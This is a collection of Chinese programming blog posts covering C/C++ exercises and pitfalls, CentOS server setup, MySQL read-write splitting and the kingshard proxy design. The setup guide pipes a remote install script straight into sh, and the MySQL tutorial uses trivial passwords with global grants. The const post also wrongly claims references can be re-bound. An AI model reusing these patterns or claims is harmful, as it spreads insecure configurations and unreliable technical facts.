    for (int i = 0; i < N; i++)                               //统计感染者人数
        for (int j = 0; j < N; j++)
        {
            if (dorm[i][j] == '@')
                count++;
        }
    return count;
}
 
int main()
{
    cout << "请输入宿舍感染情况矩阵:" << endl;
    for (int i = 0; i < N; i++)
        for (int j = 0; j < N; j++)
            cin >> dorm[i][j];
    int day;                                      //输入第几天
    cout << "请输入第几天:" << endl;
    cin >> day;
    cout << "此时感染人数:" << function(day) << endl;
    cout << "此时感染情况" << endl;
    for (int i = 0; i < N; i++)                   //输出此时的宿舍感染分布情况
    {
        for (int j = 0; j < N; j++)
            cout << dorm[i][j] << ' ';
        cout << endl;
    }
 
    return 0;
}


 “角谷猜想” 的递归方法

作者：wmlz

来源： “角谷猜想” 的递归方法



                    
角谷猜想


描述

所谓角谷猜想，是指对于任意一个正整数，如果是奇数，则乘3加1，如果是偶数，则除以2，得到的结果再按照上述规则重复处理，最终总能够得到1。如，假定初始整数为5，计算过程分别为16、8、4、2、1。

程序要求输入一个整数，将经过处理得到1的过程输出来。

输入：一个正整数

输出：从输入整数到1的步骤，每一步为一行，每一部中描述计算过程，假定输入为7，则输出为：

7*3+1=22
22/2=11
11*3+1=34
34/2=17
17*3+1=52
52/2=26
26/2=13
13*3+1=4
40/2=20
20/2=10
10/2=5
5*3+1=16
16/2=8
8/2=4
4/2=2
2/2=1
最后一行输出"End"，如果输入为1，直接输出"End"




我的代码

#include<iostream>
#include <iomanip>
using namespace std;

void jg(int a)
{
    if (a == 1)                     //得到1之后输出End
    {
        printf("End");
        return;                    //并跳出递归函数
    }
    else if (a % 2 == 0)
    {
        printf("%d/2=%d\n", a, a / 2);
        return jg(a / 2);
    }
    else if (a % 2 != 0)
    {
        printf("%d*3+1=%d\n", a, 3 * a + 1);
        return jg(3 * a + 1);
    }
}

int main()
{
    int a = 0;
    cin >> a;
    jg(a);
    return 0;
}


 C/C++const用法

作者：熊一帆

来源： C/C++const用法



                    
常量

const int MAX = 128;

指针

const int * p 或 int const * p

写法：const 在*前
作用：指针不能修改所指向的内容，但是可以改变指向

int a = 0;
int b = 0;
const int * i = &a;
int const * j = &b; // 不要这样写，虽然能运算
*i = 1; // 错误
*j = 1; // 错误
i = &b; // 正确
j = &a; // 正确

int * const p

写法：const 在*后
作用：指针可以修改所指向的内容，但是不能改变指向

int a = 0;
int b = 0;
int * const i = &a;
*i = 1; // 正确
i = &b; // 错误

const int * const p 或 int const * const p

写法：前，后，各加一个const
作用：指针不能修改指向的内容，也不能改变指向

int a = 0;
int b = 0;
const int * const p = &a;
*p = 1;
p = &b;

引用

int & r

可以改变值，也可以改变指向
有的地方说，引用是不能改变指向的，但我的电脑可以...原因不详...

int a = 0;
int b = 0;
int & r = a;
r = 1; // 正确
r = b; // 正确

const int & r 或 int const & r

写法：const 在&前
作用：引用不能修改值，也不能改变引用

int a = 0;
int b = 0;
const int & i = a; 
int const & j = b; // 不要这样写，虽然能运行
i = 1; // 错误
j = 1; // 错误
i = b; // 错误
j = a; // 错误

int & const r

错误，错误，错误，这种写法不存在


 C缺陷与陷阱（C Traps and Pitfalls）学习笔记

作者：shanyin

来源： C缺陷与陷阱（C Traps and Pitfalls）学习笔记



                    
前言

近来学习操作系统这门课，课程的实验基于linux 0.11，于是从图书馆借来了 C Traps and Pitalls 和 Expert C programming，打算提高一下c语言水平。
先从前一本开始。这本书很薄，即使是英文版也只有140多页，讲的都是c语言中容易犯错的地方。
注意：这篇笔记并没有包括整本书的内容，而只是摘抄了本人需要的知识（加上了一些自己的理解）。如需完整了解，还请自行看书。

第一章：词法陷阱

符号之间的空白(extra space)是被忽略的。

extra space包括空格、制表符和换行
比如你觉得这个函数声明太长

int* foo(int arg1, const char *arg2, double arg3, struct bar *arg4) 
{
    /*...*/
}

可以写成

int* foo(   int arg1,
            const char *arg2,
            double arg3,
            struct bar *arg4)
{
    /*...*/
}



符号分析策略

编译器从左到右分析符号，使获取的符号尽可能地长。
a---b; 等价于 a-- -b; 

所以 a = b/*p; 这种写法很可能不是你想要表达的意思。 /* 会被认为是注释符的左边，于是它后面的内容都成了注释，实现除法的写法应该是 a = b / *p; 。

但是，形如a-----b就不能理解成 (a--)-- (-b) ，而应该是 (a--)-(--b) ，因为 (a--)-- 这样是不符合语法的。



关于整型常量

int a = 90; 和 int b = 090; 是不一样的呀。
后者在9的前面多了一个0，编译器就会以为090是八进制，于是b的值就是9*8^1 + 0*8^0 = 72d



关于char

char就相当于整型，只是它的大小是1字节。相应地，字符'a'就是对应ASCII码里的数字。
char*是指针，32位下大小为4字节。与其它指针无异。
一个用双引号括起来的字符串（如"hello"），就是一个指向字符串（加上结尾的'\0'）首地址的指针缩写。
所以

printf("hello");

类似于

char* str = "hello";
printf(str);

第二章：语法陷阱

关于调用函数

假如有函数

void bar(int arg);

那么：
bar();  执行函数
int (*p)(int a) = bar; bar是函数地址，可以赋值给函数指针（当然类型要相同）

第三章：语义陷阱

关于指针和数组

Only two things can be done to an array: determine its size and obtain a pointer to element 0 of the array. All other array operations are actually done with pointers, even if they are written with what look like subscripts.



如果定义指针来当数组用，需要手动用malloc在运行时堆获得空间；而定义数组，编译器就自动在栈帧里分配空间。指针和数组的操作相似，关于数组的操作大部分都是基于指针的。



指针不是数组 Orz...

这里要指出的是关于char类型数组和指针的两个不同。

假定现在需要一个hello的字符串，可以这么写：

char* str = "hello";
char str[6] = {'h','e','l','l','o','\0'};

前者编译器会在字符串后面加上结束符 '\0'，后者则需要自己注意留出空间存放该符号。

字符串常量（比如上面的 "hello"）存放在常量区，在编译时就确定好了，在运行的时候不能修改。所以下面的操作是错误的。

char* str = "hello";    //指针指向常量区
str[3] = 'a';    //错误，修改了常量区的内容

而使用数组则不会出现这样的问题，因为char数组会将内存常量的内容复制到栈帧中。

char str[6] = "hello";       //将内存常量中的"hello"复制给栈帧中的数组
str[3] = 'a';    //正确，修改的是栈帧中的内容



数组作为函数参数

不能将整个数组当作参数传入函数，使用数组名作为参数会把数组首地址作为指针传入函数。于是

int strlen(char s[])
{
    /* stuff */
}

跟

int strlen(char *s)
{
    /* stuff */
}

的效果是一样的。所以常见的参数 char* argv[] 和 char** argv 也是一样的。
更准确的说法是，数组作为参数传入函数会“退化”成指针。在定义该数组的函数里使用 sizeof 可以正确获得数组大小，而将该数组首地址传入函数后，只用 sizeof 只能获得指针大小。例如

int main()
{
    char str[] = "hello";
    printf("%u", sizeof(str));
    return 0;
}
//输出结果为6

int main(int argc, char* argv[])
{
    printf("%u", sizeof(argv[0]));
    return 0;
}
//输出结果为4



计算边界和不对称边界

写for循环的时候，会遇到一个问题：

for (int i = 0; i < 10; i++)
{
    a[i] = 0;
}

for (int i = 1; i <= 10; i++)
{
    a[i] = 0;
}

哪个写法好呢？本书给出了后者写法的理由。

左闭右开
如果 x>=20 && x<=40 为真，那么x有多少种可能的取值？20？答案应该是 40 - 20 + 1 = 21 。这样的写法似乎挺反直觉，容易出错，如果写成左闭右开 x>=20 && x<41 就好多了。类似地，在C语言里，数组第1个元素下标为0，于是定义一个10个元素的数组，最大的下标为9。可能挺反直觉，但是只要利用好这特点，使代码简洁，逻辑简单。例如：

#define N 128
static char buffer[N];
void bufwrite(char *p, int n)
{   
    int i;
    int temp;
    for (i = 0; i < N && (temp=getchar()) != EOF; i++)
    {
        bufer[i] = temp;
    }
}

那么退出循环的时候i就一定是缓冲区中元素的个数了。

其实，采用左开右闭写法习惯，更多是因为c语言本数对内存的描述是地址加偏移量。比如数组int a[10]不存在a[10]而存在a[0]。我们主动迎合这种做法可以避免不少麻烦。否则，想要一个10个元素的数组就要定义int a[11]。这么做增加了出错的可能。



求值顺序

操作符&& || ?: ,都是从左到右执行。
其中， && 左边操作数为假，右边不会执行； || 左边操作数为真，右边不会执行。可以利用这个特点简化代码，例如

int a[100];
int i = 0;
while (i < 100 && a[i] != 0)
{
    /* stuff */
}
其中，`&&` 保证了数组访问不会越界。


除了特定的操作符 && || ?: ,，操作符对其操作数的求值顺序是不确定的。常见的

int i = 0;
while (i < n)
{
    y[i] = x[i++];
}

赋值号左边的i是不确定的。正确写法可以为：

int i = 0;
while (i < n)
{
    y[i] = x[i];
    i++;
}



整型溢出

两个unsigned类型相加不会有溢出的问题（简单舍去进位），一个unsigned和一个int相加也没有问题（int将会被转换为unsigned）。两个int相加就可能存在溢出问题了。
假定两个int都为正数。对于检查溢出，这样写是不对的

if (a + b < 0)

因为在检查的过程中已经导致溢出发生。而不同机器对溢出的处理是不一样的，不能够假定溢出了什么事都不发生。所以检查溢出时应该避免溢出发生：

if ((unsigned)a + (unsigned)b > INT_MAX)
//或
if (a > INT_MAX - b)

第四章：链接

c程序是先编译后链接。具体可以看CSAPP的第七章，有关于链接的基本介绍

形参实参和返回值

为了兼容旧版本的c程序，对于函数的声明，需要忽略参数。以库函数square为例，声明为double square();，只要在调用函数的时候能够正确地传入参数，就可以正常调用函数。
有一点需要注意：对于上面square的声明，如果传入函数的参数为float类型，它在传入时会被转化为double类型，这样没什么不妥；对于参数类型为short、char的函数，如果声明时忽略参数，传入的参数会被转化为int，就会产生问题：函数要的是8位的char，而int的长度一般都不是8，进行位运算可能会出现问题。

当然，以上都是为了兼容才在声明时忽略参数。我们写程序还是老老实实把声明写完整吧。



检查全局变量的类型

比如，定义一个全局变量 int a; ，而在另外以外一个c文件错误地声明为 extern long a; 。显然，这样是错的。编译器和链接器足够聪明的话，能发现这个问题，然后给出错误。否则，编译、链接通过，问题潜伏在程序中。程序可能正常运行（int和long都为32位等原因），或者出错（声明为double，定义为int等）。总之，程序员有义务保证声明和定义一致。

定义和声明不一致导致错误很正常啊，为什么要拿一小节来讲呢？因为定义全局变量 char str[]; 和声明 extern char* str; 就是定义和声明不一致的错误，而我们不易察觉。问题在于：char指针不是char数组啊（Orz两者像归像，还是有不同啊....）

char a[128];    //a代表这个数组的首地址
char *b = a;    //b是一个指针变量，它的值为数组a的首地址

a++;    //错误
b++;    //正确

体现的是char类型的数组与指针的区别。



头文件

头文件了解决上面一小节的问题。做法是，将所有外部变量的声明都写在头文件，然后将头文件include在每个涉及这些变量的文件中，包括定义该变量的文件。原因是，在同一文件中声明和定义一个全局变量，那么编译器就可以检查声明和定义是否一致，如果一致，在其它文件中只要include这个头文件，就可以使用该变量了。将函数声明放入头文件也是同样道理。
有一点要说明：函数默认是全局的（除非是 static），所以在其他文件声明的时候可以不加 extern ，但出于阅读方便，我们都是加上 extern（标准库头文件都有）；变量则一定要加（不加 extern 就变成定义了）。

探究：如果不使用头文件会怎样？可以直接引用外部函数和变量吗？
如果没有声明就直接引用外部变量和函数，那么编译器就假定函数的返回值为int，变量为int类型，然后链接器把引用链接起来。如果碰巧引用的变量的确是int型，那么程序正常，否则类型对不上发生错误。
在没有外部声明的情况下，函数内部不能直接引用其他文件的全局变量。



第五章：库函数

getchar返回int

先看一段代码

#include <stdio.h>
int main()
{
    char c;
    while ((c = getchar()) != EOF)
    {
        putchar(c);    
    }
    return 0;
}

代码的功能就是将输入流的内容转到输出流中，直到输入流为空。现在来说说代码存在的问题。首先要说明，char为 unsigned char 或 signed char 是由编译器决定的，大部分编译器默认为 signed char，EOF 一般定义为-1。假定int为32位。


	如果char为 unsigned char 。当getchar返回 EOF(0xffffffff) ，那么变量c被赋值为 0xff。与EOF(int)比较，c需要扩展为0x000000ff（无符号扩展用零填充），两者不相等，循环将不会停止。


	如果char是 signed char 。当getchar读到字符 0xff，于是返回 0x000000ff，c被赋值为 0xff 。与EOF(int)比较，c需要扩展为 0xffffffff（有符号扩展用符号位填充），两者相等，循环提前结束。




出于以上，c也应该改为int，使代码正常工作。
注意：某些编译器直接拿getchar的返回值与EOF比较。这样虽然不能正确表达代码的意思，但能使程序正常工作。



缓存输出和内存分配

手动为文件分配缓冲区，可以使用setbuf函数，在缓冲区满时输出。

#include <stdio.h>

int main()
{
    int c;
    char buf[BUFSIZ];
    setbuf(stdout, buf);
    while ((c = getchar()) != EOF)
    {
        putchar(c);
    }
    return 0;
}

这段代码出错在于，缓冲输出在main结束的时候，这时buf数组已经不存在。
解决办法是为数组buf加上关键字 static，成为静态变量（但不建议在函数内部定义静态函数）；或者使用malloc函数，如

setbuf(stdout, malloc(BUFSIZE));

这样，main结束时缓冲区仍然存在。但是要时刻留意malloc之后要不要free！



使用errno来检测错误

并没有规定：如果库函数运行正常，要将errno设置为0。于是以下写法错误：

call library function
if (errno != 0)
    complain

那么在使用函数前就把errno设置为0呢？

errno = 0;
call library function
if (errno != 0)
    complain

不行！因为库函数内部可能会调用其它库函数。比如调用fopen，函数会调用其它库函数去检查某个文件是否存在，如果文件不存在，则errno会被设置，然后创建新文件，返回指针。这时候fopen是正常工作的，但是errno却不为0。
那errno该怎么用？最好的办法应该是结合返回值使用了。应该在函数返回错误信息后，再检查errno

call library routine
    if (error return)
        examine errno



signal函数

原则是signal处理函数尽可能简单。最好是输出相关信息后就用exit退出程序。原因是，信号接收可能出现在任何时候（malloc时接收到信号，信号处理又调用malloc）；而且信号处理完后不同机器有不同操作（某些机器在某些信号处理后重复失败的操作，如除数为零）。

第六章：预处理

切记宏只是简单地复制粘贴！

宏不是函数

以下面的定义为例

#define MAX(a,b)  ((a)>(b)?(a):(b))

不加括号必然引起悲剧，不用多说。
其次，谨慎使用 ++ -- 之类的运算， MAX(a,a++) 也会产生奇怪的结果。
再次，谨慎嵌套，如 MAX(a, MAX(b, MAX(c, d)) ，展开后表达式很长，debug时会很痛苦，而且会产生不必要的重复运算。



宏不是语句

比如，谨慎在宏用 if。假如assert是这样定义的：

#define assert(e) if(!e) assert_error(__FILE__,__LINE__)

那么

if (a > 0 && b > 0)
    assert(x > y);
else
    assert(x < y);

展开就变成

if (a > 0 && b > 0)
{
    if (!(x > y)) 
        assert_error(__FILE__,__LINE__);
    else if (!(x < y))
        assert_error(__FILE__,__LINE__);
}

这显然不是我们要的结果。可能会想到将assert用花括号围起来。但这样就会在if和else之间出现语法错误。
实际上，assert是这样定义的：

#define assert(e) ((void)((e)||_assert_error(__FILE__,__LINE__))

它是一个值而不是语句。

后记

阅读完这本书后，对这些陷阱可以总结为：只做正确的事，不要做一些感觉应该正确的事。有些陷阱是历史原因，有些是奇怪的缘故，还有些是逻辑的问题。总之，谨慎！
同时对c的认识又加深了：c是贴近硬件的语言。还加上嵌入汇编的功能，难怪写操作系统要用c；还有，这本书提高了我查文档的能力！
这本书对数组和指针的解释比较分散，建议阅读c专家编程作为系统了解。


2015 优秀文章 - 服务端


 前端 CentOS7 新服配置参考

作者：Amio

来源： 前端 CentOS7 新服配置参考



                    
我自己搭服务器的偏好是 CentOS，每次开新服都要执行一遍环境配置，步骤繁多难免遗漏，总是发现缺东西了再去安装。备个忘，再不烦恼。

本文介绍的组件包括：git, nginx, nodejs, fishshell，环境是 DigitalOcean 的 CentOS 7 镜像（6就不管了，初建服务器你还不用最新版是何居心？）。

小安利下，我的DigitalOcean 推荐链接，注册即得10美元（推荐双方都有），开服愉快！



CentOS 新服务器

首先安装 epel-release，各种软件包都依赖于这个软件源

$ yum update -y
$ yum install -y epel-release
$ yum install -y git

一点安全措施


	启用 SSH 密钥登陆。编辑 ~/.ssh/authorized_keys，添加自己的公钥进去。


	禁用密码登陆。编辑 /etc/ssh/sshd_config，启用以下几行：




PubkeyAuthentication            yes
AuthorizedKeyFile               .ssh/authorized_keys
PasswordAuthentication          no
ChallengeResponseAuthentication no

然后重启 sshd 服务：

$ service sshd reload

https://www.liberiangeek.net/2014/07/enable-ssh-key-logon-disable-password-password-less-logon-centos/
http://serverfault.com/questions/285800/how-to-disable-ssh-login-with-password-for-some-users
http://askubuntu.com/questions/387892/how-to-deny-root-ssh-login-require-ssh-key-for-user

nginx 启动！

$ yum install nginx -y

http://www.rackspace.com/knowledge_center/article/centos-adding-an-nginx-init-script

Node 和它的朋友们

$ yum install nodejs -y
$ curl https://www.npmjs.com/install.sh | sh
$ npm install -g n pm2

最后，需要在 ghost 的 nginx 配置中添加一行 client_max_body_size 10G; 像这样：

server {
    listen       80;
    server_name  ~b(log)*.amio.us$;

    client_max_body_size 256M;
    
    # ...
}

Oh-my-fish!

下面是一些个人喜好，装个 fish shell。

$ yum install yum-utils
$ yum-config-manager --add-repo http://fishshell.com/files/linux/RedHat_RHEL-6/fish.release:2.repo
# CentOS 7 用这个地址：
# http://download.opensuse.org/repositories/shells:fish:release:2/CentOS_7/shells:fish:release:2.repo
$ yum install fish -y

# 把默认 shell 改为 fish
$ chsh -s /usr/bin/fish



如果 fish 报告错误：

fish: Tried to print invalid wide character string

则编辑此文件：

$ vim /etc/sysconfig/i18n
# 把其中的 LANG=C 改为 LANG=en_GB.UTF-8

http://serverfault.com/questions/275403/how-do-i-change-my-locale-to-utf-8-in-centos


 MySQL读写分离介绍及搭建

作者：bestvivi

来源： MySQL读写分离介绍及搭建



                    
MySQL读写分离介绍

MySQL读写分离基本原理是让master数据库处理写操作，slave数据库处理读操作。master将写操作的变更同步到各个slave节点。



MySQL读写分离能提高系统性能的原因在于：


	物理服务器增加，机器处理能力提升。拿硬件换性能。


	主从只负责各自的读和写，极大程度缓解X锁和S锁争用。


	slave可以配置myiasm引擎，提升查询性能以及节约系统开销。


	master直接写是并发的，slave通过主库发送来的binlog恢复数据是异步。


	slave可以单独设置一些参数来提升其读的性能。


	增加冗余，提高可用性。




MySQLProxy介绍

下面使用MySQL官方提供的数据库代理层产品MySQLProxy搭建读写分离。
MySQLProxy实际上是在客户端请求与MySQLServer之间建立了一个连接池。所有客户端请求都是发向MySQLProxy，然后经由MySQLProxy进行相应的分析，判断出是读操作还是写操作，分发至对应的MySQLServer上。对于多节点Slave集群，也可以起做到负载均衡的效果。



MySQL读写分离配置

MySQL环境准备

master  192.168.1.5     

slave   192.168.1.6     

proxy   192.168.1.2     

MySQL：5.5.37

MySQL-proxy：mysql-proxy-0.8.4-linux-rhel5-x86-64bit.tar.gz

创建用户并分配权限

    mysql> create user libai identified by 'libai';
    mysql> grant all on *.* to libai@'192.168.1.%' identified by 'libai';

在配置了MySQL复制，以上操作在master执行会同步到slave节点。

启用MySQL复制

MySQL复制配置请参考这里

先关闭并清除之前的复制。

    mysql> stop slave;
    mysql> reset slave all;

启用新的复制同步。启用之前需要清除日志

mysql> change master to master_host='192.168.1.5',master_user='libai',master_password='libai',master_port=3306,master_log_file='mysql-bin.000001',master_log_pos=0;


主库

    # mysql -h localhost -ulibai -plibai
    mysql> create database d;
    mysql> use d;
    mysql> create table t(i int);
    mysql> insert into t values(1);

从库

    mysql> select * from t;
    +------+
    | i    |
    +------+
    |    1 |


启用MySQLProxy代理服务器

代理服务器上创建mysql用户

    # groupadd mysql
    # useradd -g mysql mysql


解压启动mysql-proxy

    # ./mysql-proxy --daemon --log-level=debug --user=mysql --keepalive --log-file=/var/log/mysql-proxy.log --plugins="proxy" --proxy-backend-addresses="192.168.1.5:3306" --proxy-read-only-backend-addresses="192.168.1.6:3306" --proxy-lua-script="/root/soft/mysql-proxy/rw-splitting.lua" --plugins=admin --admin-username="admin" --admin-password="admin" --admin-lua-script="/root/soft/mysql-proxy/lib/mysql-proxy/lua/admin.lua"

其中proxy-backend-addresses是master服务器，proxy-read-only-backend-addresses是slave服务器。可以通过./mysql-proxy --help 查看详细说明。

查看启动后进程

    # ps -ef | grep mysql
    root     25721     1  0 11:33 ?        00:00:00 /root/soft/mysql-proxy/libexec/mysql-proxy --daemon --log-level=debug --user=mysql --keepalive --log-file=/var/log/mysql-proxy.log --plugins=proxy --proxy-backend-addresses=192.168.1.5:3306 --proxy-read-only-backend-addresses=192.168.1.6:3306 --proxy-lua-script=/root/soft/mysql-proxy/rw-splitting.lua --plugins=admin --admin-username=admin --admin-password=admin --admin-lua-script=/root/soft/mysql-proxy/lib/mysql-proxy/lua/admin.lua
    mysql    25722 25721  0 11:33 ?        00:00:00 /root/soft/mysql-proxy/libexec/mysql-proxy --daemon --log-level=debug --user=mysql --keepalive --log-file=/var/log/mysql-proxy.log --plugins=proxy --proxy-backend-addresses=192.168.1.5:3306 --proxy-read-only-backend-addresses=192.168.1.6:3306 --proxy-lua-script=/root/soft/mysql-proxy/rw-splitting.lua --plugins=admin --admin-username=admin --admin-password=admin --admin-lua-script=/root/soft/mysql-proxy/lib/mysql-proxy/lua/admin.lua


4040是proxy端口，4041是admin管理端口

    # lsof -i:4040
    COMMAND     PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
    mysql-pro 25722 mysql   10u  IPv4 762429      0t0  TCP *:yo-main (LISTEN)
    # lsof -i:4041
    COMMAND     PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
    mysql-pro 25722 mysql   11u  IPv4 762432      0t0  TCP *:houston (LISTEN)


测试

保证mysqlproxy节点上可执行mysql 。通过复制同步帐号连接proxy

    # mysql -h 192.168.1.2 -ulibai -p --port=4040
    mysql> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    | information_schema |
    | d                  |
    | mysql              |
    | performance_schema |
    | test               |
    +--------------------+


登录admin查看状态

    # mysql -h 192.168.1.2 -u admin -p --port=4041
    mysql> select * from backends;
    +-------------+------------------+-------+------+------+-------------------+
    | backend_ndx | address          | state | type | uuid | connected_clients |
    +-------------+------------------+-------+------+------+-------------------+
    |           1 | 192.168.1.5:3306 | up    | rw   | NULL |                 0 |
    |           2 | 192.168.1.6:3306 | up    | ro   | NULL |                 0 |
    +-------------+------------------+-------+------+------+-------------------+
    2 rows in set (0.00 sec)

可以从以上查询中看到master和slave状态均为up。

1）登录proxy节点，创建数据库dufu，并创建一张表t

    mysql> create database dufu;
    mysql> show databases;
    mysql> use dufu;
    mysql> create table t(id int(10),name varchar(20));
    mysql> show tables;

创建完数据库及表后，主从节点上应该都可以看到

2）关闭同步，分别在master和slave上插入数据

    mysql> slave stop;

master

    mysql> insert into t values(1,'this_is_master');

slave

    mysql> insert into t values(2,'this_is_slave');

3）proxy上查看结果

    mysql> use dufu;
    mysql> select * from t;
    +------+---------------+
    | id   | name          |
    +------+---------------+
    |    2 | this_is_slave |
    +------+---------------+
    1 row in set (0.00 sec)

从结果可以看到数据是从slave上读取的，并没考虑master节点上的数据。

直接从proxy上插入数据

    mysql> insert into t values(3,'this_is_proxy');

再次查询

    mysql> select * from t;
    +------+---------------+
    | id   | name          |
    +------+---------------+
    |    2 | this_is_slave |
    +------+---------------+

结果显示查询数据没有变化，因为proxy上执行insert相当于写入到了master上，而查询的数据是从slave上读取的。

master上查询

    mysql> select * from t;
    +------+----------------+
    | id   | name           |
    +------+----------------+
    |    1 | this_is_master |
    |    3 | this_is_proxy  |
    +------+----------------+


启用复制，proxy查询

    mysql> select * from t;
    +------+----------------+
    | id   | name           |
    +------+----------------+
    |    2 | this_is_slave  |
    |    1 | this_is_master |
    |    3 | this_is_proxy  |
    +------+----------------+

说明此时master上的数据同步到了slave，并且在proxy查询到数据是slave数据库的数据。此时，可以看到MySQLProxy实现了分离。


 如何用Go语言打造一个高性能MySQL Proxy

作者：flike

来源： 如何用Go语言打造一个高性能MySQL Proxy



                    
kingshard架构设计和功能实现

kingshard(https://github.com/flike/kingshard)开源有一段时间了，有些热心的用户发邮件来咨询kingshard的设计和实现问题。于是周末抽空写了一篇介绍kingshard架构和功能实现的文章，希望通过本文能够让用户对kingshard有更深的了解。下面分模块来介绍kingshard的核心组件的设计和实现。

1. 整体架构

kingshard采用Go开发，充分地利用了Go语言的并发特性。Go语言在并发方面，做了很好的封装，这大大简化了kingshard的开发工作。kingshard的整体工作流程入下所述：


	读取配置文件并启动，在配置文件中设置的监听端口监听客户端请求。


	收到客户端连接请求后，启动一个goroutine单独处理该请求。


	首选进行登录验证，验证过程完全兼容MySQL认证协议，由于用户名和密码在配置文件中已经设置好，所以可以利用该信息验证连接请求是否合法。
当用户名和密码都正确时，转入下面的步骤，否则返回出错信息给客户端。


	认证通过后，客户端发送SQL语句。


	kingshard对客户端发送过来的SQL语句，进行词法和语义分析，识别出SQL的类型和生成SQL的路由计划。如果有必要还会改写SQL，然后转发到相应的DB。也有可能不做词法和语义分析直接转发到相应的后端DB。如果转发SQL是分表且跨多个DB，则每个DB对应启动一个goroutine发送SQL和接收该DB返回的结果。


	接收并合并结果，然后转发给客户端。




kingshard工作整体流程可参考下面这幅图。



kingshard整体架构图如下所示



2. 词法和语义分析

要将kingshard的功能做的足够强大，就不得不进行SQL的词法和语义分析。SQL语句的词法分析指的是将SQL语句切分成一个一个的关键字。例如对SQL语句：select name from stu where id < 13进行词法分析，得到的结果是：{"select","name","from","stu","where","id","<","13"}。
这样做的目的主要为了生成一棵抽象语法树，也就是大家常说的AST(abstract syntax tree),语义分析就是基于这棵语法树来操作的。语义分析的目的主要有以下几个方面：


	读写分离，只有识别出SQL语句的类型，才能进行正确的读写分离操作。


	数据分片，解析出表名和查询条件，将SQL路由到正确的DB。


	SQL黑名单，通过词法和语义分析，也可以快速识别出需要屏蔽的SQL语句。例如，检测到delete语句不带where操作，就可以直接阻断该SQL的转发。




kingshard并没有考虑完全兼容MySQL所有语法，因为完全兼容MySQL语法会使得词法和语义分析模块变得异常复杂，而且低效。对于DDL语句其实没必要解析，只要能正确转发到后端相应的DB上就可以。

kingshard只对部分DML语句（select,update,insert,delete,replace)进行了解析，这样可以满足绝大部分的分表操作。对于其他语句，kingshard会将其发送到一个默认的DB，或者通过kingshard特有的方式将其发送到指定的DB上，例如：
/*node2*/insert into stu（id,name) values(12,'xiaoming'),对于这种带有注释的的sql语句，kingshard能够识别出，然后将这条sql语句发送到node2节点的Master DB上。

3. 负载均衡

用户使用Mysql Proxy目的很大一部分就是为了降低单台DB的负载，将读压力分担到多台DB上。kingshard支持多个slave，不同的slave可以配置不同的读权重，权重越大分担的读请求越多。kingshard读请求负载均衡采用的是权重轮询调度算法。

大部分系统采用该算法时，都是转发SQL语句时，动态地计算出本次选取DB的序号。然后将读请求的SQL语句发送到该DB。仔细分析一下，这样做其实是没有必要的。因为DB的权重是相对固定的，不会经常变动，所以完全可以计算出一个固定的轮询序列，然后将这个序列保存在一个数组中。这样不需要动态计算，每次读取数组就可以。举个例子来说，在kingshard的node配置项中配置slave选项：
slave:192.168.0.12@2,192.168.0.13@3
kingshard在读取配置信息初始化系统的时候，就生成了一个轮询数组:[0,0,1,1,1]。在kingshard中会将这个数组打乱顺序，变成：[0,1,1,0,1]。这样就避免了动态计算DB下标的问题，对性能提升有一定帮助。

4.sharding实现

首选需要介绍两个概念：


	子表，在kingshard中一张逻辑上的大表由若干张小的子表组成。例如：将stu表分成stu0000,stu0001,stu0002,stu0003。
在数据库中stu表是不存在的，它只是一张逻辑上的表。数据库中只存在四张子表（stu0000,stu0001,stu0002,stu0003）。
发送SQL语句时，kingshard会识别出需要分表的SQL语句，并改写该SQL。例如，客户端发送过来的SQL语句是：select name from stu where id =10;
kingshard收到该SQL语句后，从配置信息中识别出该表是一个Hash类型的分表。根据分表规则，将该SQL改写成：select name from stu_2 where id =10;
然后发送给对应的DB。


	Node，子表分布在各个node上，每个node包含一个maser server和若干个slave server（slave个数可以为0）。写请求会发往该node中master server，读请求会发往该node中的slave server。




kingshard的sharding采用了两级映射的思想，首选根据SQL语句的分表条件计算出这条SQL语句落在哪个子表上，然后再根据配置信息找到该子表
落在哪个node上。采用两级映射的思想，对于MySQL的扩容和缩容都能很方便地支持。目前kingshard sharding支持insert, delete, select, update和replace语句, 所有这五类操作都支持跨子表。但写操作仅支持单node上的跨子表，select操作则可以跨node，跨子表。

对于有些表没有分表，操作该表的SQL语句会发往default node。或者用户可以选择在SQL语句前面加上注释，指定该SQL要发往的node，kingshard接收到语句后，识别出注释中指定的node，然后将该SQL发往对应node中合适的DB。例如用户发送/*node1*/select * from member where id=100,kingshard接收到该SQL后会将其发送到node1的salve上。这样kingshard就能很好地兼容分表和不分表的各种应用场景了。

5. 事务的实现

所有proxy支持shard后都会面临一个问题：支不支持分布式事务？出于性能和可用性考虑，
kingshard只支持单台DB上的事务，不允许跨DB的事务。kingshard处理单DB上的事务流程如下：


	用户发送begin语句。


	kingshard接收到SQL语句后，将该连接的状态设置为事务。


	用户发送DML语句，kingshard识别出语句需要发送到的DB，然后kingshard新建一个与后端DB的连接中取一个连接，利用该连接发送语句。


	收取SQL语句的结果后，将连接放回。


	kingshard收到下一条SQL语句，判断该SQL是不是发往同一个DB，如果不是则报错。如果是发往同一个DB，则利用该连接发送语句。


	收到用户发送的commit语句，将该连接的状态设置为非事务，事务结束。




6. 后端DB存活检测

kingshard每个node启动了一个goroutine用于检测后端master和slave的状态。当goroutine持续一段时间（由配置文件中downafternoalive参数设置）ping不通后端的DB后，会将该DB的状态设置为down，后续kingshard就不会将sql语句发往该DB了。

7. 客户端白名单机制

有时候用户为了安全考虑，希望只能某几台server能够连接kingshard。在kingshard的配置文件中有一个参数：allowips，用于实现客户端白名单机制。当管理员设置了该参数，则意味着只有allowips指定的IP能够连接kingshard，其他IP都会被kingshard拒绝连接。如果不设置该参数，则连接kingshard的客户端不受限制。

8. 管理端设计和实现

kingshard的管理端口复用了工作端口，通过特定的关键字(admin)来标示。kingshard是通过对管理端特定的SQL进行词法和语义分析，将SQL语句解析为一条kingshard可以识别的命令。目前支持平滑上下线master和slave，和查看kingshard配置和后端DB状态。后续打算将web页面集成到管理端，这样用户就可以不用输入命令行操作，而是在网页上操作。大大降低用户使用kingshard的门槛。

上述各个模块都是kingshard中比较核心的模块，通过这篇文章的介绍，我想读者应该对kingshard的架构和实现有了初步的了解。很多功能的设计和实现，都是作者慢慢地摸索和实践。如果有读者对kingshard的设计或实现感兴趣或者对上述设计有不同的想法，欢迎发邮件（flikecn#126.com）给我。
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文/freenik

